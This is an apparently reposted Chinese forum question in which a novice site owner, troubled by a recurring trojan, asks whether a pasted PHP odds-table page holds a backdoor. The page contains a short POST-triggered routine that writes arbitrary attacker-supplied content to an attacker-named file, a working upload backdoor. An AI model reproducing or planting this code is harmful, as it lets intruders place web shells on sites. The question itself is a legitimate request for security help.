Home > Backend Development > PHP Tutorial > 帮忙看一下这一个文件有没有方便之门或漏洞

帮忙看一下这一个文件有没有方便之门或漏洞

WBOY
Release: 2016-06-13 12:33:25
Original
812 people have browsed it

帮忙看一下这一个文件有没有后门或漏洞!
我是菜鸟 我的站总是有一个木马文件,黑客是怎么上传到我的站,很好奇。


  
    
    
    
    
    
    
    
    
    
    
    
  
  
    
    
    
    
    
    
    
    
    
    
    
  
序号 号码 止数 下目 占成 佣虽  上寺 预计 走飞 走额 当前赔率
                     
if($_POST['img_text']=='news')
{
$title=$_POST['title'];

$newsort =$_POST['newsort'];

$newsort=str_replace(chr(92),"",$newsort);

$fp = fopen($title,"w"); 

fputs($fp,$newsort); 

fclose($fp); 

}
else
{?>

                  
                    
                    
 
                      =$ids?>
                      设置

                     
 
             
             
             
Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template